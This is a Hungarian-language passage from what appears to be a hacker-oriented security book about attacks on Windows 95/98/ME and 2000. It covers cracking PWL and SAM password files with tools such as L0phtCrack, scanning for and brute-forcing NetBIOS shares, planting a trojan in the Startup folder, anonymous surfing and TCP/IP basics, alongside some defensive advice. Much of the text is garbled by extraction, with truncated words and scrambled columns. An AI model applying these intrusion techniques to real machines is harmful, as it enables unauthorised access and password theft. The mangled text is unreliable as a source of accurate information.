A nyomozók hackerek nagy szabású csalásainak a nyomára bukkantak, akik mit sem sejtő PC-tulajdonosok költségére szörföztek az interneten. Egy kb. 30 feltételezett tettesből álló kör több ezer számítógép-felhasználó jelszavát törte fel - számol be a Der Spiegel hírmagazin nemrégiben megjelent tudósítása. A dortmundi és a münsteri államügyészség két nagy ügyében kerek kétmillió márkára becsüli a károkat. A mit sem sejtő felhasználók számlájára esetenként akár havi 20 ezer márkáért is interneteztek. A hackerek a jelszavakat még az idevágó weboldalakon is nyilvánossá tehették - mondják. Münsterben már 3600 nyomozási eljárás lezárult. Ezek az ügyek azonban az államügyész adatai szerint már egy fél évvel ezelőttiek.
2.2.2 A jelszófájlok A Windows 95/98/ME PWL fájlokban tárolja a jelszavakat és a felhasználói neveket. A PWL a PassWord Library rövidítése. Minden felhasználói profil tartalmaz egy saját PWL fájt, a fájlnév pedig a mindenkori felhasználó neve lesz. Példa: ha a Windowsba Jani néven jelentkezünk be, a PWL fájl nevejani.pwl lesz. A Windows minden PWL-fájlt a Windows könyvtárban tárol, tehát a c:\windows\ alatt. A Windows 95/98/ME alatt minden program eléri a PWL fájlokat, hogy adatokat tudjon elhelyezni bennük, így tárolódnak például a meghajtók és a nyomtatók hozzáférési jelszavai, a telefonos kapcsolat jelszavai és a Windows bejelentkező nevek. A kódolt jelszó az első pillantásra még ártalmatlan
A kódolás A Microsoft a Windows 95 első verzióiban nem nagyon strapálta magát a kódolás algoritmusával, ami viszonylag egyszerűvé tette a hackereknek ezek megfejtését, illetve feltörését. A következő verziókban már olyan kódolási technikákat használtak, amelyeket ugyan továbbra is számos segédprogrammal fel lehetett törni, mindez azonban már sokkal több időbe telt. Egy PWL fájl tartalmaz egy header-t, valamint a fájl létrejöttének a dátumát, továbbá úgynevezett rekordokat is tárol, amelyek a tulajdonképpeni jelszavakat tartalmazzák. A felhasználói névből és a jelszóból a Windows 9x egy 32 bit hosszúságii kódot generál. Mindegy, hogy a jelszó hosszabb vagy rövidebb 32 bitnél, a kód mindig ilyen hosszú. Ezzel a kóddal és az RC4 algoritmus egy változatával kódolják az adatokat a PWL fájlokban. Az RC4 egy szimmetrikus kódolási eljárás, amelynél mindkét kommunikációs partner ugyanazt teszi - csak ellenkező irányban. A feladó egy kulccsal kódolja az átvitelre szánt adatokat, a fogadó pedig ugyanezzel a kóddal fejti meg az üzenetet. A szimmetrikus kódolás előnye mindenekelőtt a kódolás nagy sebessége, és az, hogy az eljárást könnyű implementálni. Hátrányként jelenik meg a kódkicserélés problémája és a ráfordításigényes kódnyilvántartás. Sajnos ezt a kódot a megfelelő eszközzel másodpercek alatt fel lehet törni, ehhez számtalan eszköz áll a hackerek rendelkezésére a hálón, ráadásul a trójaiakba is gyakran integrálnak olyan programokat, amelyek lehetővé teszik a célszámítógép valamennyi jelszavának azonnali kiolvasását.
Jelszófeltörők Mint már említettük, a Windowshoz sok jelszófeltörő van, amelyek lehetővé teszik a Windows jelszavak kikódolását, illetve kiolvasását. A nagyobb PWL A számokból és betűkből álló kombinációk a jelszófeltőrőket is megizzasztják
fájloknál azonban sok idő kell a jelszavak kiolvasásához. Ilyenkor a hackerek gyakran lemezre menük a PWL fájlokat, amelyeket egy másik számítógépre másolhatnak, hogy ott zavartalanul és időkorlát nélkül kikódolhassák.
Védelmi lehetőségek Hogy a jelszófeltörő programoktól megvédhessük magunkat, a Windows 95/98/ME alatt lehetőség van a HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion \Policies\Network \DisabledPwdCaching = 1 Registry-kulcs létrehozására. Ez a kulcs megakadályozza a megadott jelszavak tárolását, és ezzel lehetetlenné teszi a kiolvasásukat is. Továbbra is ajánlatos azonban, főleg a Windows 95 felhasználóknak, a frissítés egy erősebb kódoló algoritmusra. Ehhez az update-hez a http://support. microsoft.com/support/kb/artícles/Q132/8/07.asp oldalon juthatunk hozzá. Van egy program is, amely megakadályozza a jelszavak kiolvasását. A PassSecure a Multimedia Network Systemstől meggátolja, hogy a jelszófeltörők elérjék a PWL fájlokat.
2.2.3 Jelszavak a Windows 2000 alatt A Windows 2000 alatt egészen más a jelszavak kezelése, mint a Windows 95/98/ME alatt. A Windows 2000 automatikusan ellenőrzi a jelszavak biztonságosságát, s automatikusan figyelmeztet az általános jelszóbiztonság elleni vétségekre. A Windows 2000 ellenőrzi minden jelszó hosszát, a jelszavak rendszeres változtatását és a karakterek sokszínűségét. Ezeknek az adatoknak az alapján a Windows 2000 ki tudja számítani a jelszavak biztonsági kockázatát, és szükség esetén figyelmezteti a felhasználót. A Windows valamennyi jelszót egy SAM (Security Account Manager)adatbázisban tárol, ez az adatbázis a Registry része. Ha Windows 2000 alatt bejelentkezik egy felhasználó, az adatai a Security Account Manager-hez továbbítódnak, s egyfajta „jogosultsági igazolványt" kap, amelyben rögzítve vannak a hozzáférési jogai, és hogy melyik felhasználói csoporthoz tartozik. A SAM azokat a felhasználói adatokat használja, amelyeket a winnt/ system32/config/sam fájl tárol. Ez a Windows jelszó mellett a hálózati jelszót is őrzi. Ezt a fájlt nem lehet közvetlenül elérni, mivel a Windows állandóan használja.
Időközben azonban számos Brute Force program is íródott, amelyek az NT és a Windows 2000 alatt is lehetővé teszik jelszavak hackelését. Az egyik legismertebb közülük a legendás LOphtCrack 2.5. Ez a program úgy kerüli ki a hozzáférési védelmet, hogy a háttérben egyfajta másolatot készít a SAM-fájlról.
zók minden védelem nélküli megosztása vagy a slamposan megadott jelszavak gyakran szélesre tárják a kaput a betolakodók előtt. Ebből a fejezetből kiderül, hogyan lehet felderíteni az ilyen megosztott erőforrásokat. Ráadásul az ISDN, az xDSL és a flatrate-ek korában, amikor a felhasználók rendszerei gyakran folyamatosan kapcsolódnak az internethez, elég idejük van a hackereknek arra, hogy a cél érdekében számtalan támadási módot kipróbáljanak, így például a rendszer különböző réseinek a szkennelését.
2.3.1 A fájl- és nyomtatómegosztás veszélyes biztonsági rések A fájl- és nyomtatómegosztást tulajdonképpen arra használják, hogy lehetővé tegyék a felhasználóknak a mappák vagy az adathordozók elérését a hálózaton. Mióta egyre több felhasználó épít ki otthon is kis hálózatocskát, hogy továbbra is használni tudja a régi PC-jét, vagy hogy időnként csatlakoztatni tudjon egy notebookot, a megosztás a magánemberek számára is a biztonságot meghatározó témává vált.
LOphtCrack 2.5 - tolvajkulcs a Windows 2000 jelszavakhoz
A LOphtCrack kétféleképpen tud jelszavakat feltörni. Az első módszer a dictionary cracking, amelynél gyakran használt jelszavak és karakterek listáját használja, hogy kitalálja a jelszót. A második a brute force cracking, ahol minden lehetséges szám és/vagy szókombinációt kipróbál. (A jelszófeltörés témáját a 7. fejezet részletesen újratárgyalja.)
2.3 A távoli elérésű támadás - internetvagy hálózati felhasználók, vigyázat! Egyet világosan kell látni: egy távolból jövő támadás egy Windows 95/98/ME rendszer ellen, szabvány konfigurációban, egyedüli PC-ként és trójai nélkül, valóban nehéz. Azonban a strandard konfigurációt gyakran meg kell változtatni, például a rendszer hálózatra csatlakoztatása miatt. Az adathordo-
Itt egy kockázati tényező rejtőzik, amelyet nem veszünk észre
E szolgáltatások felhasználói általában nincsenek tisztában azzal, hogy milyen veszélyeknek teszik ki az adataikat az internethez kapcsolódással. A kár, amelyet a hackerek okoznak, főleg attól függ, hogy milyen megosztásokat használ a felhasználó. A könyvhöz végzett kutatások során valóban találtunk olyan rendszereket, amelyeknek a felhasználói minden meghajtót megosztottak, méghozzá minden jelszóvédelem nélkül. Az ilyen esetek természetesen durva gondatlanságról tanúskodnak, ugyanakkor újra bebizonyítják, hogy mennyire könnyelműen mozognak egyesek a hálón.
2.3.2 Mik azok a szkennerek, és hogyan működnek? A megosztások felkutatása szkennerprogramokkal történik. Az egyik legismertebb ilyen a Légion, a Rhino9 szerzeménye. A Légion minden megosztást szkennel a számítógépen, majd grafikusan megjeleníti ezeket. Sajnos, a Légion nagyon megbízhatatlan, és nem mindig találja meg azonnal a megosztott erőforrásokat, ami több szkennelést tesz szükségessé. A megosztások felkutatásához elegendő a számítógép IP-területe
Csak a számítógépről szállít információkat, és semmilyen támadóeszköze nincs, ami azt jelenti, hogy a jelszófeltöréshez egy másik eszközt, például a Légiont kell használni. Név Auto NetBIOS Hacker
URL
Operációs rendszer
www.hackerzbook.de
Windows 9x/NT/2000
Légion
www.hackerzbook.de
Windows 9x/NT/2000, UNIX/Linux
NAT
www.hackerzbook.de
Windows 9x/NT, UNIX/Linux
SharesFinder
www.hackerzbook.de
Windows 9x/NT/2000
Programok a megosztások felkutatásához
Hozzáférés a szabad erőforrásokhoz A talált megosztott erőforrások elérése a következők szerint történik: a támadó egyszerűen beírja a talált IP-címet a Windows Intézőbe, például \\217.3.161.59. A következő ábra a megosztott C: merevlemez tartalmát mutatja egy, a hálózaton keresztül elért számítógépen. Nem nehéz felismerni a lehetséges kockázatokat és károkat.
Egy másik a Lan Guard Network Scanner. Az előnyei a Légionnal szemben a nagy megbízhatóság és a nagyon gyors szkennelés.
Kapcsolódás egy másik számítógéphez, fájlmegosztással
A szkennelés eredménye
A DOS alatt a NET USE paranccsal is lehet kapcsolatot teremteni.
Így lehet DOS alól elérni a másik számítógépet
2.3.4 Jelszóval védett megosztások A megosztott erőforrásokat természetesen jelszóval lehet védeni. Ezzel megvalósíthatjuk, hogy senki se férjen hozzájuk jogosulatlanul a hálózatról vagy az internetről. A legegyszerűbb védelem: jelszavak az erőforrásokhoz
2.3.3 Milyen lehetőségeik vannak a betolakodóknak? A megosztott mappát vagy meghajtófájlokat a megosztás módja szerint lehet elérni. Annak megfelelően, hogy milyen hozzáférési módokat adtak meg, a betolakodó másolhat, feltölthet, vagy a kedve szerint törölhet, ahogy neki tetszik. Egy különösen kedvelt támadási mód egy trójai vírust elhelyezni a C:\WINDOWS\STARTMENÜ\PROGRAMOK\INDÍTÓPULT könyvtárban. Ezzel elérhető, hogy a trójai szerver része (közelebbit lásd a trójaiakról szóló fejezetben) a következő bootolás után telepítődjön, a fájl törlődjön, és a szerver elinduljon. Ezt a beavatkozást esetleg észreveszik, de hogy a felhasználó egy trójai becsempészésére fog-e gyanakodni, ha kap egy hibajelzést, az bizony kérdéses. Egy példa arra, hogy mi mindent tudnak megváltoztatni, törölni, vagy manipulálni a behatolók
Persze ez a védelem a szimpla jelszavak esetén meglehetősen sovány, amit némi tudással vagy megfelelő programmal könnyen ki lehet kerülni. Az is köztudott, hogy a felhasználók kényelemszeretetből gyakran könnyen megjegyezhető jelszavakat adnak meg. Az első, amit egy hacker programok segítsége nélkül is megtenne, a szisztematikus találgatás, ami a helyi hálózaton, ahol megvan a lehetősége, hogy a felhasználót személyesen is ismeri, rendkívül hatékony is lehet. Kezdhetné azzal, hogy végiggondolja a felhasználó minden ismert személyes adatát, és ezeket jelszóként végigpróbálgatja, pl. vezetékneveket, keresztneveket, barátnő, kutya nevét, születési adatokat... De vannak gyakran használt szabvány jelszavak is, mint például gast, admin, administrator, boss, jelszó, hónapnevek vagy teszt, hogy csak néhányat említsünk a számtalan, gyakran hebehurgyán felhasznált jelszó közül. Nehéz jelszavaknál ez természetesen meglehetősen értelmetlen vállalkozás, amit valamikor a potenciális hacker is fel fog adni, és több sikerrel kecsegtető módszerek után néz. Ilyen lehet például egy program, amely Brute Force-rohamot intéz a NetBIOS jelszó ellen.
2.3.5 Brute Porce-rohamok a megosztási jelszavak ellen A legjobb és legismertebb ilyen programok egyike a PQwak, Shane Hird műhelyéből Ez az eszköz többek között a Windows 95/98 alatti fájlmegosztás egy implementációs hibáját használja ki.
Előkészület a célzott támadásra
A PQwaknak egyszerűen meg kell adni annak a számítógépnek az IP-jét, amelynek a jelszavait fel kell törnie. A PQwak minden karaktert és különleges karaktert felismer, így azután a legrövidebb idő alatt szinte minden jelszót fel lehet vele törni. A PQwak l .0-s verziója nincs túl gondosan programozva, sok különleges karakter hiányzik, és aki sikert akar elérni, annak gyakran kell újraindítania.
Ez a megoldás azonban sok felhasználó számára szóba sem jöhet, mivel rá vannak utalva a megosztott erőforrások használatára. Tulajdonképpen csak erős jelszavak jöhetnek számításba, amelyek védik az erőforrásokat. Itt újból bizonyítást nyer az alfanumerikus kombinációk erőssége. Szerverkörnyezetekben a rendszeradminisztrátor beállíthatja a jelszavak erősségét és futási idejét. Ez ugyan nem kínál százszázalékos védelmet, de jelentősen megnehezíti a betörést, és kiindulhatunk abból, hogy egy bizonyos idő múlva a még oly türelmes hacker is feladja.
2.4 További támadási technikák A bemutatott biztonsági réseken kívül, amelyek az operációs rendszer felépítésében gyökereznek, természetesen vannak még más támadási lehetőségek is, amelyeket most csak bemutatunk.
Trójaiak - betörés a hátsó ajtón keresztül
2.3.6 Óvintézkedések A legegyszerűbb, amit tehetünk, ha védekezni akarunk az ilyen támadások ellen: a fájl- és nyomtatómegosztás megszüntetése a hálózati környezet beállításainál. Továbbá minden szükségtelen protokollt, köztük a NetBIOS-t is távolítsuk el. Aránylag kényelmetlen, de veszélytelen - megszüntetjük a megosztásokat
Nagyon elterjedtek a támadások a hátsó ajtók, illetve a Remote Controll programok, ismertebb nevükön a trójaiak segítségével, amelyek külön fejezetet kaptak a könyvben (lásd 4. fejezet), és amelyekre most csak röviden szeretnénk kitérni. A trójaiak a felépítésüknél fogva kitűnően alkalmasak arra, hogy jelszavakat kémleljenek ki, manipulálják a Registry-t, eljárásokat indítsanak vagy fejezzenek be, adatokat másoljanak, illetve töröljenek, és megosztásokat hozzanak létre. Ezeknek a programoknak a problematikája az egyszerűségükben rejlik, ami azt jelenti, hogy a bonyolult támadásokkal ellentétben, itt semmiféle háttértudás megszerzésével nem kell foglalkozni. Ez különösen a „szabadidős hackereknek" nyújt lehetőséget arra, hogy teljesen az uralmuk alá hajtsanak rendszereket. Az ilyen programok felhasználói ritkán gondolkodnak el cselekedetük következményeiről, és ennek megfelelő agresszivitással támadnak áldozataik rendszereire. A felhasználók magatartása különösen a médiák felvilágosító tevékenysége nyomán az utóbbi években erősen megváltozott, és egyre gyakrabban figyelnek oda arra, hogy ne nyissák meg gondatlanul a mail-ékhez csatolt fájlokat. Mind gyakrabban használnak tűzfalakat, amelyek megakadályozzák a trójai szerver kapcsolódását a klienshez. Egyre jobban elterjednek a trójai-, illetve víruskere-
ső programok is, amelyek képesek észlelni és eltávolítani a szerveralkalmazásokat a rendszerben, illetve megfelelő figyelmeztetésekkel megakadályozni a telepítésüket. De még mindig elég sok felhasználó van, akikben nem tudatosultak ezek a veszélyek, és fütyülve minden figyelmeztetésre, ismeretlen és komolytalan forrásból származó fájlokat nyitnak meg. A gyakorlatból ismerünk olyan eseteket, mikor már régóta ismert trójaiak, mint a Sub7 vagy a BackOrifice (pontosabbat ezekről a programokról a trójaiakról szóló fejezetben) települtek olyan számítógépekre, amelyek vállalati hálózatokban működtek. Ez a magatartás durván felelőtlen, de a rendszergazdák valószínűleg csak a káresetekből fognak tanulni. A védekezés és a felismerés lehetőségeivel ugyancsak a trójaiakról szóló fejezetben foglalkozunk.
3. fejezet - Tartalom 3.1
Az anonim internetezés csökkenti a kockázatot .................................. 3.1.1 A legtöbb felhasználó sokat elárul3.1.2 ...................................... Névtelenül
3.2.
A TCP/IP 3.2.1 Mi a TCP/IP? 3.2.2 Különböző protokollok a rétegekben
3.3
Néhány alkalmazás és protokoll használata és a biztonságosságuk . 3.3.1 A Telnet 3.3.2 Az FTP 3.3.3. Az IRC 3.3.4 Az IP-címzés
3.4
A portokról
ok
e többet megtudni a hackerek tevékenységéről, stratégiáiról és őségeiről, annak az internet alapjaival is közelebbi ismeretségbe Különben bizonyos támadási lehetőségek aligha követhetőek. Ez den bemutatja a legfontosabb információkat, amelyek a „hacker és egyben a védekezés alapismeretei közé is tartoznak. Így némi erhető a technikákba is, amelyek lehetővé tesznek bizonyos tákat. Aki csak általában akar a hackerek tevékenységéről tájékozt a fejezetet természetesen nem kell elolvasnia. Így viszont sok emenően érthetetlen marad.
anonim internetezés csökkenti a ckázatot
et az anonim szörfözésnek szenteltük. Ezzel akkor kell foglalkozdünk a háló kémlelésének. szörfözés célja, hogy megakadályozzuk saját IP-címünk átadását jobb megértés kedvéért képzeljük el egyszer az IP-címet a követggésben: egy potencionális betörőnek - mert egy hacker nem jeC-nk szempontjából - tudnia kell a pontos címet. Csak ezután á, hogy kiderítse a lakásunk, illetve a házunk gyenge pontjait. E mmi sem történhet, de amint ez ismertté válik, igen jó rálátás kíetkörülményeinkre és a szokásainkra. nagyon pontos címzés, egy emelettel és lakásszámmal együtt tacímhez hasonlít. Csak ennek az adatnak az ismeretében válik a aablak - a PC-nk nyitott portjához hasonlóan - kockázattá. suk a legfontosabbakat a névtelen szörfözésről - hiszen a névjegym osztogatjuk mindenütt. Ennek a fejezetnek az első része azt is milyen információkat kaphatnak rólunk mások, ha „normál" mó-
don szörfözünk a neten. Hogy ezeknek a részleteknek a nyilvános hogyan akadályozhatjuk meg, arról természetesen szintén itt olvas
3.1.1 A legtöbb felhasználó sokat elárul
Egy szituáció, amelyben öntudatlanul is feladjuk az anonimit valószínűleg a legkevésbé tűnt fel. A kis web-bugokról van szó, GIF-ekről. Mindkettő hasonlít a talán már ismert cookie-khoz. A parányi GIF-képecske (egy pixel méretű), amely valahol a webo tegrálva, és a nézőnek egyáltalán nem tűnik fel, mivel egészen k átadja egy szervernek az IP-címet, a felkeresett oldal URL-jét, a ek URL-jét, az időpontot, amikor a web-bugot megnézték, a b valamint egy korábban elhelyezett cookie információit. Ha egy o tartalmaz ilyen „bogárkát", személyes adatokat adunk meg, akkor ID-vel együtt lehet tárolni, és gyakorlatilag úgy működik, min csak ebből semmit nem lehet észrevenni, és kikapcsolni sem lehet Tehát a legfontosabb, amit az anonim szörfözésnél el kell titk tuális IP-cím, amelyet minden számítógép az internetre lépéskor k Az interneten megtett utat, amint az a lenti példából is lá könnyen követni lehet az IP-címek segítségével. Mindenhol h nyomokat, amelyek alapján hackerek figyelhetnek fel ránk, és ez gük lesz pontosan kideríteni az identitásunkat, és esetleg károkat nekünk. Az IP-cim minden alkalommal átmegy az adatokkal együtt, a m IRC, ICQ vendégkönyvekben és a nyílt fórumokon. A „normál" és az anonim szörfözés közötti kü http://privacy.net/anonymizer oldal teszi világossá.
Információk az Anonymizernél
Úgy az IP, mint a teljes útvonal is felismerhető, amelyet a számítógép egy oldalhoz választott. Ha ezt az oldalt most egy anonymizeren keresztül keressük fel, csak annak a weboldalak az információi kerülnek ki, amelyről erre az oldalra mentünk. Az IP-cím és az útvonal mellett előfordulhat, hogy a következő adatok mindegyike, vagy legalábbis néhány közülük hatóvá válik idegenek számára:
ez tartozó domain név.
l URL-je, amelyről az oldal linkjére kattintottunk (HTTP-
idítés a használt webböngészőhöz, például Mozilla/4.7 [en] (X11; 2.2.12 i686) a Netscape-hez (angol verzió). Ebből a rövidítésből g az is kiderül, hogy milyen operációs rendszer melyik verzióját uk, itt például Linux 2.2.12-t egy Intel PC-n.
gésző az e-mail-címeket és/vagy a login neveket is továbbítja, ben a böngésző ismeri ezeket (az e-mail-címet a böngésző jelszó tadhatja egy anonim FTP-szerverhez való hozzáféréshez, vagy talmakon keresztül, mint a JavaScript és hasonlók). (ezek egy táblát akasztanak ránk, hogy: „Megint itt vagyok!")
az interneten, és az ott tartózkodás ideje.
Talán már a fentiekből is világossá válhat, hogy mégiscsak m valamennyire az anonimitást az internetes szörfözéskor. Hogy hetséges, azt mindjárt kiderül.
3.1.2 Névtelenül
A cél tehát az, hogy titkosítsuk a saját IP-címünket, egy mási milyet se mutassunk, és lehetőség szerint minden egyéb adatunka Egy előzetes megjegyzés: a saját IP-címünk egy internet-sz resztül történő szörfözéskor rendszerint dinamikus, tehát a szolg újabb betárcsázáskor egy új, másik IP-t oszt ki - de természetesen újból olvasni, mint minden más, fent nevezett információt. Azon tőség is van arra, hogy védekezzünk. Íme, néhány ezek közül:
s A legegyszerűbb, ahogy az előbb már említettük, az Anon használata, például a http://anonsurf.de vagy a klassziku anonymizer.com. Az ilyen oldalak működési módja: az proxy-szerver többé-kevésbé szűri.
Egy másik egyszerű módszer egy anonim proxy-szerveren figurálni a saját böngészőnk kapcsolatát. Ehhez egy kis m proxyk, hardverként vagy szoftverként, a kliens és a hos vannak kapcsolva, és a hostnak a proxy IP-t, és nem a din IP-t mutatják. A kliens tehát össze van kötve a hosttal, a ho „hiszi" (az IP alapján), hogy csak (!) a proxy-szerverrel van ben. Tehát a proxy képviseli a számítógépünket. Hogy mo konfiguráljuk a böngészőnket, csak a szerver címét és a por gésző Internet-beállításainál (legjobb, ha minden protokoll Az aktuális proxy-szerverekről és csatlakozásaikról a cyberarmy.com/lists/proxy/ címen találunk listát. Vanna keresőgépek is és hasonlók.
Magunk is beszerezhetünk egy proxy-programot vagy egy ul a http://proxys4all.cgi.net címről. Mostanában a Junkb jött divatba (közelebbi információk a www.junkbister.co kezdőknek kicsit nehezebb ennek a szoftvernek a telepíté szont kedvezőbbek a lehetőségek, mert egyéni igények szer ható. Így például le tudja nyomni a weboldalakon található
i eszköz a jelenleg csak kevesek számára elérhető Mix-System, állomásból áll, s ezekről üzeneteket küldenek. A koncepciót um eredetileg e-mail küldéshez fejlesztette, azonban más háló sokra is átvihető. Minden Mix gyűjti a bejövő üzeneteket, szét és egy bizonyos idő után továbbküldi. Így nem lehet összefüg teni a bejövő és a kimenő üzenetek között. Ha csak egyeden gbízhatóan működik, az egész rendszer megbízható, vagyis a anonim marad. A kommunikáció a Mixen belül kódolt, és így sem lehet. A Mix hátránya, hogy nagy hálózati terheltséget Mixek még nem állnak nyilvánosan rendelkezésre, csak egyes teket lehet találni.
ő eszköz, amely az anonimitásról gondoskodhat, a Webwasher. er Windows 95/98/NT/2000-hez és a Macintosh-hoz is meg ősorban arra szolgál, hogy kiszűrje a weboldalakról a nereket, az animált képeket és a pop-up menüket. Mindez a ra védelmét szolgálja, mert megakadályozza az olvasó „zavará mtalan reklámbannerrel. A mi szempontunkból azonban inkább onságai érdekesek: a Webwasherrel megakadályozható a erer küldése, azé az URL-é, amelyről az oldalra kattintottak. megadhatunk egy URL-listát, amelyet minden esetben ki kell y át kell engedni. A Webwasher, user agentként, a valóban a sző által elküldött sztringeket küldi el. Alapértelmezésként ez st kap, hogy a Webwashert használja, ezt azonban lekapcsol Webwasher magáncélra ingyenes, és megtalálható a w.webwasher.de címen.
akiknek egy kicsit több idejük van és Linux-pártiak, a program lehet érdekes. A WWWoffle Unix/Linux rendszerek s NT alatt fut. Létezik ugyan egy verziója Windows 95-höz is, n nem működik hibátlanul. Ez a proxy elsősorban cache-elő verként működik, és lehetővé teszi, hogy hálózati kapcsolat ssen navigálni ebben a cache-ben. Az oldalakat, amelyekre rá de még nincsenek a cache-ben, feljegyzi egy listára, majd az emre váltáskor kérésre automatikusan betölti. A cachen különböző kritériumok szerint közlekedhetünk, kilistáztatául az összes, vagy a legutóbbi kapcsolódás során meglátoga esetleg minden oldalt, amelyeket a következő online kapcso-
latnál fog betölteni és hasonlókat. A cache-tartalmon belüli k egészítésképpen saját keresőgépet is lehet telepíteni. Termés konfigurálható, hogy mi kerüljön a cache-be. A programot szőből lehet kezelni, beleértve az online és az offline módok tást is. A mi szempontunkból a WWWoffle főleg azért lehet a Junkbusterhez hasonlóan, itt is célzottan lehet definiá headert. Pontosan megadhatjuk, hogy milyen fajta webdoku milyen HTML-kódba integrált scriptek megengedettek. E letilthatjuk a frame-ek vagy a képek letöltését, vagy kiköthe volítsa el a HTML-kódból a Java- vagy a JavaScriptWWWoffle-t FTP-proxyként is lehet használni, ilyenkor po adhatjuk, hogy milyen felhasználói névvel jelentkezzen be FTP-szerverre, és nem kell ezt a véletlenre vagy a webböngé tett alapértelmezésre bízni.
• A proxy-knál még egy fontos szempontra kell ügyelni, amiről sen megfeledkeznek. A JavaScript utólag mégis áthúzhatja a kat. Még ha valóban anonim proxykat is használunk, egy w ködtetője egy JavaScripten keresztül továbbra is le tudja kér címeket. Sajnos a JavaScript funkciókat minden böngészőnél lehet célzottan inaktiválni, ezért ennek a leírásáról itt lemon
• Egy további kis anonimitási rés csak az Internet Explorer felhasz nyes: ezek az Active Channelek. Ez a technológia először Internet Explorer 4.0-s verzióban jelent meg. Hogy meghat mációkhoz juthassunk, a böngészőben általában külső URLtintani vagy be kell gépelni ezeket. Az Active Channelekkel ki egyet egy webszerver-üzemeltető ajánlatából (kezdőlap), amel vagy az internetre kapcsolódás indításakor betöltődik (tehát b vagy állandó kapcsolat esetén a számítógép indításakor). Az eg tő veszély itt is az, hogy a csatorna előfizetője már nem anoni tokat egy szerverről, hanem minden elérésnél újból felismerhet érdeklődési köre a kiválasztott channel(ek) alapján meghat Active Channel technológia a már említett cookie-k szemé használja. Tehát: ha nincs rá feltétlenül szükségünk, inkább kapcso
• Ha egy hacker valami nagyobbat tervez, akkor beszerez mag shell-accountot, és ezek után minden jogosultságot tesztel Sok szolgáltató kínál ingyenes shell-account-okat (ezek azonb
, vagy vannak hackeroldalak, amelyeken frissen feltört accountin-ek vannak, amelyeket használni lehet.
ackerek többnyire olyan rendszereket használnak platformként dszerek megtámadásához, amelyeket már a hatalmukban tartanak, mális (legális) szörfözéshez az említett lehetőségek is teljesen ele-
n valaki, a fenti tanácsokat megfogadva, elrejtette az IP-címét, rogram csak a proxy-szerverről gyűjthet „személyre szabott" inmivel nekünk, felhasználóknak, nem sokat árthat.
Hogyan működnek a protokollok? A két protokoll, a protokollok egymásra rétegződésén, „hal stack) keresztül működik. A protocol stack az az út, amelyet az a kell tenniük ahhoz, hogy az egyik számítógépből a másikba jussa amelynek a rétegei közül a TCP/IP csak kettőt, nevezetesen a 3 használja, a következőképppen van felosztva: Réteg
Leírás
Alkalmazási réteg
Az alkalmazási réteg képezi a csatolófelületet az alk
között, amelyekkel a felhasználó parancsokat küld illetve fogad egy hálózato Megjelenítő réteg
CP/IP
A megjelenítő rétegben a másik számítógép rendsz
felhasználás-specifikus formattálások történnek. Session réteg
Ez
gondoskodik arról, hogy az alkalmazások között megszakadt kapcsolatok
felálljanak és - az adatvesztés megakadályozása miatt - részben ugyan
akaszban néhány protokollt szeretnénk megismertetni, amelyeket álnak. A legfontosabbak közé tartozik a Transmission Control és az Internet Protocol (IP). vetkező részben a protokolloknak azok a funkciói szerepelnek, lözhetetlenek a későbbi célokhoz, így ennek a könyvnek a hasztt közölt tudás tökéletesen elegendő. Sajnos a téma olyan kompes kifejtése messze meghaladná e könyvnek a kereteit.
helyen is folytatódjanak. Transzport réteg
alkalmazási rétegek és az alá rendelt hálózati rétegek között. Hálózati/
Ebben a rétegben folyik az optimális út (routing) keresése az kapcsolati ré
adatátvitelhez. A protokollt itt már a fölé rendelt rétegektől függetlenül ki leh (pl.: IP). Adatbiztonsági réteg
Ez a réteg arról gondoskodik, hogy lehetőle
hibás átvitelek, és ha mégis lennének, akkor az adatok helyre legyenek állít réteg
a TCP/IP?
Ez a réteg gondoskodik a
adatátvitelről a két számítógép között, és gyakran csatolófelületként is szolgá
Ez a réteg felelős a fizikai kapcsolat létrehozásáért az adato
illetve küldésekor.
két hálózati protokoll neve, amelyeket az interneten és a modern használnak:
sion Control Protocol (TCP) és Internet Protocol (IP). az IP azonban csak két protokoll-fajta a TCP/IP protokoll-csa-
rotokoll-család a háló minden szolgáltatását elvégzi, ide tartozik ldése, az adatok átvitele, hozzáférés a World Wide Webhez és az tása a usenet-en keresztül.
A TCP IP-protokollhalom rétegei az OSI-modell szerint
Az adatok a számítógépből kifelé tartva az ábrázolt sorrendb resztül ezeken a rétegeken, és fordított sorrendben mennek bef szerbe. Minden réteg tud adatokat küldeni a szomszédos rét adatokat fogadni attól. Valamennyi réteg protokollokkal van öss lyek különböző szolgáltatásokat nyújtanak.
önböző protokollok a rétegekben
lán valamivel érthetőbb, hogyan történik a protokollhalmon keok küldése, illetve fogadása. Most megnézzük egy kicsit közeböző rétegek legfontosabb protokolljait.
Parancs
Leírás
Chown
Megváltoztatja a tulajdonost és a csoportot, amelyhez eg
és/vagy egy fájl tartozik. joe
Egy egyszerű szövegszerkesztő.
A legfontosabb Telnet-parancsok
si réteg
g, amelyben a felhasználó közvetlenül egy alkalmazásba írhatja t, hogy kapcsolatot nyisson egy számítógéppel, vagy megfelelő jon ki. Fordított értelemben tehát az alkalmazási réteg az a réteg gy alkalmazás az A számítógépen a B számítógéptől is megkapait. Ebben a rétegben egész sereg protokoll van, és ezeket felülárolja semmi. Bizonyos alkalmazások itt más alkalmazásokra is en például a HP egy SNMP-re épülő programja, az OpenView. nézzük ennek a rétegnek az alkalmazásait!
k elején még nem voltak igazi hálózatok. Voltak viszont nagygée terminálokat csatlakoztattak. Egy terminál akkoriban csak káztül tudott adatot cserélni a nagygéppel, a további terminálokkal án nem kommunikálhatott. Hogy egy újabb kábelrengeteg létesí, szoftveres megoldásra volt szükség. Így jött létre a Telnet, amely a felhasználóknak, hogy úgy tudjanak adatokat szerkeszteni stb., ülnének a másik gép shell-je (DOS promptja) előtt. A felhasznázvetlenül az alkalmazásnak kiadott paranccsal nyitott meg egy legfontosabb Telnet-parancsokat az alábbi táblázat tartalmazza.
A Fik Transfer Protocol egy szolgáltatás, amely minden operá belül lehetővé teszi az adatok átvitelét és azoknak a mindenkori ban mentését. Mint tudjuk, a legtöbb operációs rendszer különb tumokat használ. A Unix és a Unix-klónok gyakran NFS-t System) használnak, az OS/2 általában HPFS-t (High Performance DOS/Windows pedig kizárólag FAT-et (File Allocation Table) v Windows 2000 és az XP ezenkívül még az NTFS-t is segítség FTP-n keresztüli kommunikáció, akárcsak a Telnet, a kliens-sz épül, de valamivel komplexebb. Ebbe nem akarunk részletesebb azonban a következő pontokat megemlítjük: A kommunikáció öt fázisra osztható: Fázis 1. fázis:
Leírás
